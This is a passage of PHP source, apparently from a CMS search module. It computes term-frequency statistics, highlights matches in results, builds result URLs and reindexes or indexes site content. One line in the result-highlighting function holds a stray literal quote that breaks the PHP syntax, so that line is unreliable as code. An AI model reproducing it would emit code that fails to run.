$bStem = !$bTagsSearch && count($this->Query->m_stemmed_words) > 0;
//calculate freq of the word on the whole site_id
if ($bStem && count($this->Query->m_stemmed_words))
{
$arStat = $this->GetFreqStatistics($this->Query->m_lang, $this->Query->m_stemmed_words, $arParams["SITE_ID"]);
$this->tf_hwm_site_id = (strlen($arParams["SITE_ID"]) > 0? $arParams["SITE_ID"]: "");
//we'll make filter by it's contrast
if (!$bTagsCloud && $aParamsEx["USE_TF_FILTER"])
{
$hwm = false;
foreach ($this->Query->m_stemmed_words as $i => $stem)
{
if (!array_key_exists($stem, $arStat))
{
$hwm = 0;
break;
}
elseif ($hwm === false)
{
$hwm = $arStat[$stem]["TF"];
}
elseif ($hwm > $arStat[$stem]["TF"])
{
$hwm = $arStat[$stem]["TF"];
}
}
if ($hwm > 0)
{
$arSqlWhere[] = "st.TF >= ".number_format($hwm, 2, ".", "");
$this->tf_hwm = $hwm;
}
}
}
if (!empty($arSqlWhere))
{
$this->strSqlWhere = "\n\t\t\t\tAND (\n\t\t\t\t\t(".implode(")\n\t\t\t\t\tAND(", $arSqlWhere).")\n\t\t\t\t)";
}
if ($bTagsCloud)
$strSql = $this->tagsMakeSQL($query, $this->strSqlWhere, $strSqlOrder, $bIncSites, $bStem, $aParamsEx["LIMIT"]);
else
$strSql = $this->MakeSQL($query, $this->strSqlWhere, $strSqlOrder, $bIncSites, $bStem);
$r = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
parent::CDBResult($r);
}
function SetOptions($arOptions)
{
if (array_key_exists("ERROR_ON_EMPTY_STEM", $arOptions))
$this->_opt_ERROR_ON_EMPTY_STEM = $arOptions["ERROR_ON_EMPTY_STEM"] === true;
if (array_key_exists("NO_WORD_LOGIC", $arOptions))
$this->_opt_NO_WORD_LOGIC = $arOptions["NO_WORD_LOGIC"] === true;
}
function SetOffset($offset)
{
$this->offset = (int)$offset;
}
function SetLimit($limit)
{
$this->limit = (int)$limit;
}
function GetFilterMD5()
{
$perm = CSearch::CheckPermissions("sc.ID");
$sql = preg_replace("/(DATE_FROM|DATE_TO|DATE_CHANGE)(\\s+IS\\s+NOT\\s+NULL|\\s+IS\\s+NULL|\\s*[<>!=]+\\s*'.*?')/im", "", $this->strSqlWhere);
return md5($perm.$sql.$this->strTags);
}
function chr($a)
{
return chr($a[1]);
}
function GetFreqStatistics($lang_id, $arStem, $site_id = "")
{
$DB = CDatabase::GetModuleConnection('search');
$sql_site_id = $DB->ForSQL($site_id);
$sql_lang_id = $DB->ForSQL($lang_id);
$sql_stem = array();
foreach ($arStem as $stem)
$sql_stem[] = $DB->ForSQL($stem);
$limit = COption::GetOptionInt("search", "max_result_size");
if ($limit < 1)
$limit = 500;
$arResult = array();
foreach ($arStem as $stem)
$arResult[$stem] = array(
"STEM" => false,
"FREQ" => 0,
"TF" => 0,
"STEM_COUNT" => 0,
"TF_SUM" => 0,
);
if (BX_SEARCH_VERSION > 1)
$strSql = "
SELECT s.ID, s.STEM, FREQ, TF
FROM b_search_content_freq f
inner join b_search_stem s on s.ID = f.STEM
WHERE LANGUAGE_ID = '".$sql_lang_id."'
AND s.STEM in ('".implode("','", $sql_stem)."')
AND ".(strlen($site_id) > 0? "SITE_ID = '".$sql_site_id."'": "SITE_ID IS NULL")."
ORDER BY STEM
";
else
$strSql = "
SELECT STEM ID,STEM, FREQ, TF
FROM b_search_content_freq
WHERE LANGUAGE_ID = '".$sql_lang_id."'
AND STEM in ('".implode("','", $sql_stem)."')
AND ".(strlen($site_id) > 0? "SITE_ID = '".$sql_site_id."'": "SITE_ID IS NULL")."
ORDER BY STEM
";
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
if (strlen($ar["TF"]) > 0)
$arResult[$ar["STEM"]] = $ar;
}
$arMissed = array();
foreach ($arResult as $stem => $ar)
if (!$ar["STEM"])
$arMissed[] = $DB->ForSQL($stem);
if (count($arMissed) > 0)
{
if (BX_SEARCH_VERSION > 1)
$strSql = "
SELECT s.ID, s.STEM, floor(st.TF/100) BUCKET, sum(st.TF/10000) TF_SUM, count(*) STEM_COUNT
FROM
b_search_content_stem st
inner join b_search_stem s on s.ID = st.STEM
".(strlen($site_id) > 0? "INNER JOIN b_search_content_site scsite ON scsite.SEARCH_CONTENT_ID = st.SEARCH_CONTENT_ID AND scsite.SITE_ID = '".$sql_site_id."'": "")."
WHERE st.LANGUAGE_ID = '".$sql_lang_id."'
AND s.STEM in ('".implode("','", $arMissed)."')
GROUP BY s.ID, s.STEM, floor(st.TF/100)
ORDER BY s.ID, s.STEM, floor(st.TF/100) DESC
";
else
$strSql = "
SELECT st.STEM ID, st.STEM, floor(st.TF*100) BUCKET, sum(st.TF) TF_SUM, count(*) STEM_COUNT
FROM
b_search_content_stem st
".(strlen($site_id) > 0? "INNER JOIN b_search_content_site scsite ON scsite.SEARCH_CONTENT_ID = st.SEARCH_CONTENT_ID AND scsite.SITE_ID = '".$sql_site_id."'": "")."
WHERE st.LANGUAGE_ID = '".$sql_lang_id."'
AND st.STEM in ('".implode("','", $arMissed)."')
GROUP BY st.STEM, floor(st.TF*100)
ORDER BY st.STEM, floor(st.TF*100) DESC
";
$rs = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
while ($ar = $rs->Fetch())
{
$stem = $ar["STEM"];
if ($arResult[$stem]["STEM_COUNT"] < $limit)
$arResult[$stem]["TF"] = $ar["BUCKET"] / 100.0;
$arResult[$stem]["STEM_COUNT"] += $ar["STEM_COUNT"];
$arResult[$stem]["TF_SUM"] += $ar["TF_SUM"];
$arResult[$stem]["DO_INSERT"] = true;
$arResult[$stem]["ID"] = $ar["ID"];
}
}
foreach ($arResult as $stem => $ar)
{
if ($ar["DO_INSERT"])
{
$FREQ = intval(defined("search_range_by_sum_tf")? $ar["TF_SUM"]: $ar["STEM_COUNT"]);
$strSql = "
UPDATE b_search_content_freq
SET FREQ=".$FREQ.", TF=".number_format($ar["TF"], 2, ".", "")."
WHERE LANGUAGE_ID='".$sql_lang_id."'
AND ".(strlen($site_id) > 0? "SITE_ID = '".$sql_site_id."'": "SITE_ID IS NULL")."
AND STEM='".$DB->ForSQL($ar["ID"])."'
";
$rsUpdate = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
if ($rsUpdate->AffectedRowsCount() <= 0)
{
$strSql = "
INSERT INTO b_search_content_freq
(STEM, LANGUAGE_ID, SITE_ID, FREQ, TF)
VALUES
('".$DB->ForSQL($ar["ID"])."', '".$sql_lang_id."', ".(strlen($site_id) > 0? "'".$sql_site_id."'": "NULL").", ".$FREQ.", ".number_format($ar["TF"], 2, ".", "").")
";
$rsInsert = $DB->Query($strSql, true);
}
}
}
return $arResult;
}
function Repl($strCond, $strType, $strWh)
{
$l = strlen($strCond);
if ($this->Query->bStemming)
{
$arStemInfo = stemming_init($this->Query->m_lang);
$pcreLettersClass = "[".$arStemInfo["pcre_letters"]."]";
$strWhUpp = stemming_upper($strWh, $this->Query->m_lang);
}
else
{
$strWhUpp = ToUpper($strWh);
}
$strCondUpp = ToUpper($strCond);
$pos = 0;
do
{
$pos = strpos($strWhUpp, $strCondUpp, $pos);
//Check if we are in the middle of the numeric entity
while (
$pos !== false &&
preg_match("/^[0-9]+;/", substr($strWh, $pos)) &&
preg_match("/^[0-9]+#&/", strrev(substr($strWh, 0, $pos + strlen($strCond))))
)
{
$pos = strpos($strWhUpp, $strCondUpp, $pos + 1);
}
if ($pos === false) break;
if ($strType == "STEM")
{
$lw = strlen($strWhUpp);
for ($s = $pos; $s >= 0; $s--)
{
if (!preg_match("/$pcreLettersClass/".BX_UTF_PCRE_MODIFIER, substr($strWhUpp, $s, 1)))
break;
}
$s++;
for ($e = $pos; $e < $lw; $e++)
{
if (!preg_match("/$pcreLettersClass/".BX_UTF_PCRE_MODIFIER, substr($strWhUpp, $e, 1)))
break;
}
$e--;
$a = stemming(substr($strWhUpp, $s, $e - $s + 1), $this->Query->m_lang, true);
foreach ($a as $stem => $cnt)
{
if ($stem == $strCondUpp)
{
$strWh = substr($strWh, 0, $pos)."%^%".substr($strWh, $pos, $e - $pos + 1)."%/^%".substr($strWh, $e + 1);
$strWhUpp = substr($strWhUpp, 0, $pos)."%^%".str_repeat(" ", $e - $pos + 1)."%/^%".substr($strWhUpp, $e + 1);
$pos += 7 + $e - $pos + 1;
}
}
}
else
{
$strWh = substr($strWh, 0, $pos)."%^%".substr($strWh, $pos, $l)."%/^%".substr($strWh, $pos + $l);
$strWhUpp = substr($strWhUpp, 0, $pos)."%^%".str_repeat(" ", $l)."%/^%".substr($strWhUpp, $pos + $l);
$pos += 7 + $l;
}
$pos += 1;
} while ($pos < strlen($strWhUpp));
return $strWh;
}
function PrepareSearchResult($str)
{
//$words - contains what we will highlight
$words = array();
foreach ($this->Query->m_words as $v)
{
$v = ToUpper($v);
$words[$v] = "KAV";
if (strpos($v, "\"") !== false)
$words[str_replace("\"", """, $v)] = "KAV";
}
foreach ($this->Query->m_stemmed_words as $v)
$words[ToUpper($v)] = "STEM";
//Prepare upper case version of the string
if ($this->Query->bStemming)
{
//And add missing stemming words
$arStemInfo = stemming_init($this->Query->m_lang);
$a = stemming($this->Query->m_query, $this->Query->m_lang, true);
foreach ($a as $stem => $cnt)
{
if (!preg_match("/cut[56]/i", $stem))
$words[$stem] = "STEM";
}
$pcreLettersClass = "[".$arStemInfo["pcre_letters"]."]";
$strUpp = stemming_upper($str, $this->Query->m_lang);
}
else
{
$strUpp = ToUpper($str);
$pcreLettersClass = "";
}
$wordsCount = count($words);
//We'll use regexp to find positions of the words in the text
$pregMask = "";
foreach ($words as $search => $type)
{
if ($type == "STEM")
$pregMask = "(?<!".$pcreLettersClass.")".preg_quote($search, "/").$pcreLettersClass."*|".$pregMask;
else
$pregMask = $pregMask."|".preg_quote($search, "/");
}
$pregMask = trim($pregMask, "|");
$arPos = array(); //This will contain positions of the first occurrence
$arPosW = array(); //This is "running" words array
$arPosP = array(); //and their positions
$arPosLast = false; //Best found combination of the positions
$matches = array();
if (preg_match_all("/(".$pregMask.")/i".BX_UTF_PCRE_MODIFIER, $strUpp, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE))
{
foreach ($matches as $oneCase)
{
$search = null;
if (isset($words[$oneCase[0][0]]))
{
$search = $oneCase[0][0];
}
else
{
$a = stemming($oneCase[0][0], $this->Query->m_lang, true);
foreach ($a as $stem => $cnt)
{
if (isset($words[$stem]))
{
$search = $stem;
break;
}
}
}
if (isset($search))
{
$p = $oneCase[0][1];
if (!isset($arPos[$search]))
$arPos[$search] = $p;
//Add to the tail of the running window
$arPosP[] = $p;
$arPosW[] = $search;
$cc = count($arPosW);
if ($cc >= $wordsCount)
{
//This cuts the tail of the running window
while ($cc > $wordsCount)
{
array_shift($arPosW);
array_shift($arPosP);
$cc--;
}
//Check if all the words present in the current window
if (count(array_unique($arPosW)) == $wordsCount)
{
//And check if positions is the best
if (
!$arPosLast
|| (
(max($arPosP) - min($arPosP)) < (max($arPosLast) - min($arPosLast))
)
)
$arPosLast = $arPosP;
}
}
}
}
}
if ($arPosLast)
$arPos = $arPosLast;
//Nothing found just cut some text
if (empty($arPos))
{
$str_len = strlen($str);
$pos_end = 500;
while (($pos_end < $str_len) && (strpos(" ,.\n\r", substr($str, $pos_end, 1)) === false))
$pos_end++;
return substr($str, 0, $pos_end).($pos_end < $str_len? "...": "");
}
sort($arPos);
$str_len = CUtil::BinStrlen($str);
$delta = 250 / count($arPos);
$arOtr = array();
//Have to do it two times because Positions eat each other
for ($i = 0; $i < 2; $i++)
{
$arOtr = array();
$last_pos = -1;
foreach ($arPos as $pos_mid)
{
//Find where sentence begins
$pos_beg = $pos_mid - $delta;
if ($pos_beg <= 0)
$pos_beg = 0;
while (($pos_beg > 0) && (strpos(" ,.!?\n\r", CUtil::BinSubstr($str, $pos_beg, 1)) === false))
$pos_beg--;
//Find where sentence ends
$pos_end = $pos_mid + $delta;
if ($pos_end > $str_len)
$pos_end = $str_len;
while (($pos_end < $str_len) && (strpos(" ,.!?\n\r", CUtil::BinSubstr($str, $pos_end, 1)) === false))
$pos_end++;
if ($pos_beg <= $last_pos)
$arOtr[count($arOtr) - 1][1] = $pos_end;
else
$arOtr[] = array($pos_beg, $pos_end);
$last_pos = $pos_end;
}
//Adjust length of the text
$delta = 250 / count($arOtr);
}
$str_result = "";
foreach ($arOtr as $borders)
{
$str_result .= ($borders[0] <= 0? "": " ...")
.CUtil::BinSubstr($str, $borders[0], $borders[1] - $borders[0] + 1)
.($borders[1] >= $str_len? "": "... ");
}
foreach ($words as $search => $type)
{
$str_result = $this->Repl($search, $type, $str_result);
}
$str_result = str_replace("%/^%", "</b>", str_replace("%^%", "<b>", $str_result));
return $str_result;
}
function NavStart($nPageSize = 0, $bShowAll = true, $iNumPage = false)
{
parent::NavStart($nPageSize, $bShowAll, $iNumPage);
if (COption::GetOptionString("search", "stat_phrase") == "Y")
{
$this->Statistic = new CSearchStatistic($this->strQueryText, $this->strTagsText);
$this->Statistic->PhraseStat($this->NavRecordCount, $this->NavPageNomer);
if ($this->Statistic->phrase_id)
$this->url_add_params[] = "sphrase_id=".$this->Statistic->phrase_id;
}
}
function Fetch()
{
static $arSite = array();
$DB = CDatabase::GetModuleConnection('search');
$r = parent::Fetch();
if ($r && $this->formatter)
{
$r = $this->formatter->format($r);
if (!$r)
return $this->Fetch();
}
if ($r)
{
$site_id = $r["SITE_ID"];
if (!isset($arSite[$site_id]))
{
$b = "sort";
$o = "asc";
$rsSite = CSite::GetList($b, $o, array("ID" => $site_id));
$arSite[$site_id] = $rsSite->Fetch();
}
$r["DIR"] = $arSite[$site_id]["DIR"];
$r["SERVER_NAME"] = $arSite[$site_id]["SERVER_NAME"];
if (strlen($r["SITE_URL"]) > 0)
$r["URL"] = $r["SITE_URL"];
if (substr($r["URL"], 0, 1) == "=")
{
foreach (GetModuleEvents("search", "OnSearchGetURL", true) as $arEvent)
{
$newUrl = ExecuteModuleEventEx($arEvent, array($r));
if (isset($newUrl))
{
$r["URL"] = $newUrl;
}
}
}
$r["URL"] = str_replace(
array("#LANG#", "#SITE_DIR#", "#SERVER_NAME#"),
array($r["DIR"], $r["DIR"], $r["SERVER_NAME"]),
$r["URL"]
);
$r["URL"] = preg_replace("'(?<!:)/+'s", "/", $r["URL"]);
$r["URL_WO_PARAMS"] = $r["URL"];
$w = $this->Query->m_words;
if (count($this->url_add_params))
{
$p1 = strpos($r["URL"], "?");
if ($p1 === false)
$ch = "?";
else
$ch = "&";
$p2 = strpos($r["URL"], "#", $p1);
if ($p2 === false)
{
$r["URL"] = $r["URL"].$ch.implode("&", $this->url_add_params);
}
else
{
$r["URL"] = substr($r["URL"], 0, $p2).$ch.implode("&", $this->url_add_params).substr($r["URL"], $p2);
}
}
if (!array_key_exists("TITLE_FORMATED", $r) && array_key_exists("TITLE", $r))
{
$r["TITLE_FORMATED"] = $this->PrepareSearchResult(htmlspecialcharsEx($r["TITLE"]));
$r["TITLE_FORMATED_TYPE"] = "html";
$r["TAGS_FORMATED"] = tags_prepare($r["TAGS"], SITE_ID);
if ($r["BODY"])
{
$r["BODY_FORMATED"] = $this->PrepareSearchResult(htmlspecialcharsEx($r["BODY"]));
$r["BODY_FORMATED_TYPE"] = "html";
}
else
{
$max_body_size = COption::GetOptionInt("search", "max_body_size");
$sqlBody = $max_body_size > 0? "left(BODY,".$max_body_size.") as BODY": "BODY";
$rsBody = $DB->Query("select $sqlBody from b_search_content where ID=".$r["ID"]);
if ($arBody = $rsBody->Fetch())
{
$r["BODY_FORMATED"] = $this->PrepareSearchResult(htmlspecialcharsEx($arBody["BODY"]));
$r["BODY_FORMATED_TYPE"] = "html";
}
}
}
}
return $r;
}
public static function CheckPath($path)
{
static $SEARCH_MASKS_CACHE = false;
if (!is_array($SEARCH_MASKS_CACHE))
{
$arSearch = array("\\", ".", "?", "*", "'");
$arReplace = array("/", "\\.", ".", ".*?", "\\'");
$arInc = array();
$inc = str_replace(
$arSearch,
$arReplace,
COption::GetOptionString("search", "include_mask")
);
$arIncTmp = explode(";", $inc);
foreach ($arIncTmp as $mask)
{
$mask = trim($mask);
if (strlen($mask))
$arInc[] = "'^".$mask."$'";
}
$arFullExc = array();
$arExc = array();
$exc = str_replace(
$arSearch,
$arReplace,
COption::GetOptionString("search", "exclude_mask")
);
$arExcTmp = explode(";", $exc);
foreach ($arExcTmp as $mask)
{
$mask = trim($mask);
if (strlen($mask))
{
if (preg_match("#^/[a-z0-9_.\\\\]+/#i", $mask))
$arFullExc[] = "'^".$mask."$'".BX_UTF_PCRE_MODIFIER;
else
$arExc[] = "'^".$mask."$'".BX_UTF_PCRE_MODIFIER;
}
}
$SEARCH_MASKS_CACHE = Array(
"full_exc" => $arFullExc,
"exc" => $arExc,
"inc" => $arInc
);
}
$file = end(explode('/', $path)); //basename
if (strncmp($file, ".", 1) == 0)
return 0;
foreach ($SEARCH_MASKS_CACHE["full_exc"] as $mask)
if (preg_match($mask, $path))
return false;
foreach ($SEARCH_MASKS_CACHE["exc"] as $mask)
if (preg_match($mask, $path))
return 0;
foreach ($SEARCH_MASKS_CACHE["inc"] as $mask)
if (preg_match($mask, $path))
return true;
return 0;
}
public static function GetGroupCached()
{
static $SEARCH_CACHED_GROUPS = false;
if (!is_array($SEARCH_CACHED_GROUPS))
{
$SEARCH_CACHED_GROUPS = Array();
$db_groups = CGroup::GetList($order = "ID", $by = "ASC");
while ($g = $db_groups->Fetch())
{
$group_id = intval($g["ID"]);
if ($group_id > 1)
$SEARCH_CACHED_GROUPS[$group_id] = $group_id;
}
}
return $SEARCH_CACHED_GROUPS;
}
public static function QueryMnogoSearch(&$xml)
{
$SITE = COption::GetOptionString("search", "mnogosearch_url", "www.mnogosearch.org");
$PATH = COption::GetOptionString("search", "mnogosearch_path", "");
$PORT = COption::GetOptionString("search", "mnogosearch_port", "80");
$QUERY_STR = 'document='.urlencode($xml);
$strRequest = "POST ".$PATH." HTTP/1.0\r\n";
$strRequest .= "User-Agent: BitrixSM\r\n";
$strRequest .= "Accept: */*\r\n";
$strRequest .= "Host: $SITE\r\n";
$strRequest .= "Accept-Language: en\r\n";
$strRequest .= "Content-type: application/x-www-form-urlencoded\r\n";
$strRequest .= "Content-length: ".strlen($QUERY_STR)."\r\n";
$strRequest .= "\r\n";
$strRequest .= $QUERY_STR;
$strRequest .= "\r\n";
$arAll = "";
$errno = 0;
$errstr = "";
$FP = fsockopen($SITE, $PORT, $errno, $errstr, 120);
if ($FP)
{
fputs($FP, $strRequest);
while (($line = fgets($FP, 4096)) && $line != "\r\n") ;
while ($line = fread($FP, 4096))
$arAll .= $line;
fclose($FP);
}
return $arAll;
}
//////////////////////////////////
//reindex the whole server content
//$bFull = true - no not check change_date. all index tables will be truncated
// = false - add new ones. update changed and delete deleted.
public static function ReIndexAll($bFull = false, $max_execution_time = 0, $NS = Array(), $clear_suggest = false)
{
global $APPLICATION;
$DB = CDatabase::GetModuleConnection('search');
@set_time_limit(0);
if (!is_array($NS))
$NS = Array();
if ($max_execution_time <= 0)
{
$NS_OLD = $NS;
$NS = Array("CLEAR" => "N", "MODULE" => "", "ID" => "", "SESS_ID" => md5(uniqid("")));
if ($NS_OLD["SITE_ID"] != "") $NS["SITE_ID"] = $NS_OLD["SITE_ID"];
if ($NS_OLD["MODULE_ID"] != "") $NS["MODULE_ID"] = $NS_OLD["MODULE_ID"];
}
$NS["CNT"] = IntVal($NS["CNT"]);
if (!$bFull && strlen($NS["SESS_ID"]) != 32)
$NS["SESS_ID"] = md5(uniqid(""));
$p1 = getmicrotime();
$DB->StartTransaction();
CSearch::ReindexLock();
if ($NS["CLEAR"] != "Y")
{
if ($bFull)
{
foreach (GetModuleEvents("search", "OnBeforeFullReindexClear", true) as $arEvent)
ExecuteModuleEventEx($arEvent);
CSearchTags::CleanCache();
$DB->Query("TRUNCATE TABLE b_search_content_param", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_content_site", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_content_right", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_content_title", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_tags", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_content_freq", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_content", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_suggest", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_user_right", false, "File: ".__FILE__."<br>Line: ".__LINE__);
CSearchFullText::getInstance()->truncate();
COption::SetOptionString("search", "full_reindex_required", "N");
}
elseif ($clear_suggest)
{
$DB->Query("TRUNCATE TABLE b_search_suggest", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_user_right", false, "File: ".__FILE__."<br>Line: ".__LINE__);
$DB->Query("TRUNCATE TABLE b_search_content_freq", false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
}
$NS["CLEAR"] = "Y";
clearstatcache();
if (
($NS["MODULE"] == "" || $NS["MODULE"] == "main") &&
($NS["MODULE_ID"] == "" || $NS["MODULE_ID"] == "main")
)
{
$arLangDirs = Array();
$arFilter = Array("ACTIVE" => "Y");
if ($NS["SITE_ID"] != "")
$arFilter["ID"] = $NS["SITE_ID"];
$r = CSite::GetList($by = "sort", $order = "asc", $arFilter);
while ($arR = $r->Fetch())
{
$path = rtrim($arR["DIR"], "/");
$arLangDirs[$arR["ABS_DOC_ROOT"]."/".$path."/"] = $arR;
}
//get rid of duplicates
$dub = Array();
foreach ($arLangDirs as $path => $arR)
{
foreach ($arLangDirs as $path2 => $arR2)
{
if ($path == $path2) continue;
if (substr($path, 0, strlen($path2)) == $path2)
$dub[] = $path;
}
}
foreach ($dub as $p)
unset($arLangDirs[$p]);
foreach ($arLangDirs as $arR)
{
$site = $arR["ID"];
$path = rtrim($arR["DIR"], "/");
$site_path = $site."|".$path."/";
if (
$max_execution_time > 0
&& $NS["MODULE"] == "main"
&& substr($NS["ID"]."/", 0, strlen($site_path)) != $site_path
)
continue;
//for every folder
CSearch::RecurseIndex(Array($site, $path), $max_execution_time, $NS);
if (
$max_execution_time > 0
&& strlen($NS["MODULE"]) > 0
)
{
$DB->Commit();
return $NS;
}
}
}
$p1 = getmicrotime();
//for every who wants to reindex
$oCallBack = new CSearchCallback;
$oCallBack->max_execution_time = $max_execution_time;
foreach (GetModuleEvents("search", "OnReindex", true) as $arEvent)
{
if ($NS["MODULE_ID"] != "" && $NS["MODULE_ID"] != $arEvent["TO_MODULE_ID"]) continue;
if ($max_execution_time > 0 && strlen($NS["MODULE"]) > 0 && $NS["MODULE"] != "main" && $NS["MODULE"] != $arEvent["TO_MODULE_ID"]) continue;
//here we get recordset
$oCallBack->MODULE = $arEvent["TO_MODULE_ID"];
$oCallBack->CNT = &$NS["CNT"];
$oCallBack->SESS_ID = $NS["SESS_ID"];
$r = &$oCallBack;
$arResult = ExecuteModuleEventEx($arEvent, array($NS, $r, "Index"));
if (is_array($arResult)) //old way
{
foreach ($arResult as $arFields)
{
$ID = $arFields["ID"];
if (strlen($ID) > 0)
{
unset($arFields["ID"]);
$NS["CNT"]++;
CSearch::Index($arEvent["TO_MODULE_ID"], $ID, $arFields, false, $NS["SESS_ID"]);
}
}
}
else //new method
{
if ($max_execution_time > 0 && $arResult !== false && strlen(".".$arResult) > 1)
{
$DB->Commit();
return Array(
"MODULE" => $arEvent["TO_MODULE_ID"],
"CNT" => $oCallBack->CNT,
"ID" => $arResult,
"CLEAR" => $NS["CLEAR"],
"SESS_ID" => $NS["SESS_ID"],
"SITE_ID" => $NS["SITE_ID"],
"MODULE_ID" => $NS["MODULE_ID"],
);
}
}
$NS["MODULE"] = "";
}
if (!$bFull)
{
CSearch::DeleteOld($NS["SESS_ID"], $NS["MODULE_ID"], $NS["SITE_ID"]);
}
$DB->Commit();
return $NS["CNT"];
}
public static function ReindexModule($MODULE_ID, $bFull = false)
{
if ($bFull)
{
CSearch::DeleteForReindex($MODULE_ID);
}
$NS = Array("CLEAR" => "N", "MODULE" => "", "ID" => "", "SESS_ID" => md5(uniqid("")));
//for every who wants to be reindexed
foreach (GetModuleEvents("search", "OnReindex", true) as $arEvent)
{
if ($arEvent["TO_MODULE_ID"] != $MODULE_ID) continue;
$oCallBack = new CSearchCallback;
$oCallBack->MODULE = $arEvent["TO_MODULE_ID"];
$oCallBack->CNT = &$NS["CNT"];
$oCallBack->SESS_ID = $NS["SESS_ID"];
$r = &$oCallBack;
$arResult = ExecuteModuleEventEx($arEvent, array($NS, $r, "Index"));
if (is_array($arResult)) //old way
{
foreach ($arResult as $arFields)
{
$ID = $arFields["ID"];
if (strlen($ID) > 0)
{
unset($arFields["ID"]);
$NS["CNT"]++;
CSearch::Index($arEvent["TO_MODULE_ID"], $ID, $arFields, false, $NS["SESS_ID"]);
}
}
}
else //new way
{
return Array("MODULE" => $arEvent["TO_MODULE_ID"], "CNT" => $oCallBack->CNT, "ID" => $arResult, "CLEAR" => $NS["CLEAR"], "SESS_ID" => $NS["SESS_ID"]);
}
}
if (!$bFull)
{
CSearch::DeleteOld($NS["SESS_ID"], $MODULE_ID, $NS["SITE_ID"]);
}
}
public static function GetIndex($MODULE_ID, $ITEM_ID)
{
$DB = CDatabase::GetModuleConnection('search');
$rs = $DB->Query("select * from b_search_content where MODULE_ID = '".$DB->ForSql($MODULE_ID)."' and ITEM_ID = '".$DB->ForSql($ITEM_ID)."'");
$arFields = $rs->Fetch();
if (!$arFields)
{
return false;
}
$arFields["SITE_ID"] = array();
$rs = $DB->Query("select * from b_search_content_site where SEARCH_CONTENT_ID = ".$DB->ForSql($arFields["ID"]));
while ($ar = $rs->Fetch())
{
$arFields["SITE_ID"][$ar["SITE_ID"]] = $ar["URL"];
}
$arFields["PERMISSIONS"] = array();
$rs = $DB->Query("select * from b_search_content_right where SEARCH_CONTENT_ID = ".$DB->ForSql($arFields["ID"]));
while ($ar = $rs->Fetch())
{
$arFields["PERMISSIONS"][] = $ar["GROUP_CODE"];
}
$arFields["PARAMS"] = array();
$rs = $DB->Query("select * from b_search_content_param where SEARCH_CONTENT_ID = ".$DB->ForSql($arFields["ID"]));
while ($ar = $rs->Fetch())
{
$arFields["PARAMS"][$ar["PARAM_NAME"]][] = $ar["PARAM_VALUE"];
}
return $arFields;
}
//index one item (forum message, news, etc.)
//combination of ($MODULE_ID, $ITEM_ID) is used to determine the documents
public static function Index($MODULE_ID, $ITEM_ID, $arFields, $bOverWrite = false, $SEARCH_SESS_ID = "")
{
$DB = CDatabase::GetModuleConnection('search');
$arFields["MODULE_ID"] = $MODULE_ID;
$arFields["ITEM_ID"] = $ITEM_ID;
foreach (GetModuleEvents("search", "BeforeIndex", true) as $arEvent)
{
$arEventResult = ExecuteModuleEventEx($arEvent, array($arFields));
if (is_array($arEventResult))
$arFields = $arEventResult;
}
unset($arFields["MODULE_ID"]);
unset($arFields["ITEM_ID"]);
$bTitle = array_key_exists("TITLE", $arFields);
if ($bTitle)
$arFields["TITLE"] = trim($arFields["TITLE"]);
$bBody = array_key_exists("BODY", $arFields);
if ($bBody)
$arFields["BODY"] = trim($arFields["BODY"]);
$bTags = array_key_exists("TAGS", $arFields);
if ($bTags)
$arFields["TAGS"] = trim($arFields["TAGS"]);
if (!array_key_exists("SITE_ID", $arFields) && array_key_exists("LID", $arFields))
$arFields["SITE_ID"] = $arFields["LID"];
if (array_key_exists("SITE_ID", $arFields))
{
if (!is_array($arFields["SITE_ID"]))
{
$arFields["SITE_ID"] = Array($arFields["SITE_ID"] => "");
}
else
{
$bNotAssoc = true;
$i = 0;
foreach ($arFields["SITE_ID"] as $k => $val)
{
if ("".$k != "".$i)
{
$bNotAssoc = false;
break;
}
$i++;
}
if ($bNotAssoc)
{
$x = $arFields["SITE_ID"];
$arFields["SITE_ID"] = Array();
foreach ($x as $val)
$arFields["SITE_ID"][$val] = "";
}
}
if (count($arFields["SITE_ID"]) <= 0)
return 0;
reset($arFields["SITE_ID"]);
list($arFields["LID"], $url) = each($arFields["SITE_ID"]);
$arSites = array();
foreach ($arFields["SITE_ID"] as $site => $url)
{
$arSites[] = $DB->ForSQL($site, 2);
}
$strSql = "
SELECT CR.RANK
FROM b_search_custom_rank CR
WHERE CR.SITE_ID in ('".implode("', '", $arSites)."')
AND CR.MODULE_ID='".$DB->ForSQL($MODULE_ID)."'
".(is_set($arFields, "PARAM1")? "AND (CR.PARAM1 IS NULL OR CR.PARAM1='' OR CR.PARAM1='".$DB->ForSQL($arFields["PARAM1"])."')": "")."
".(is_set($arFields, "PARAM2")? "AND (CR.PARAM2 IS NULL OR CR.PARAM2='' OR CR.PARAM2='".$DB->ForSQL($arFields["PARAM2"])."')": "")."
".($ITEM_ID <> ""? "AND (CR.ITEM_ID IS NULL OR CR.ITEM_ID='' OR CR.ITEM_ID='".$DB->ForSQL($ITEM_ID)."')": "")."
ORDER BY
PARAM1 DESC, PARAM2 DESC, ITEM_ID DESC
";
$r = $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
$arFields["CUSTOM_RANK_SQL"] = $strSql;
if ($arResult = $r->Fetch())
$arFields["CUSTOM_RANK"] = $arResult["RANK"];
}
$arGroups = array();
if (is_set($arFields, "PERMISSIONS"))
{
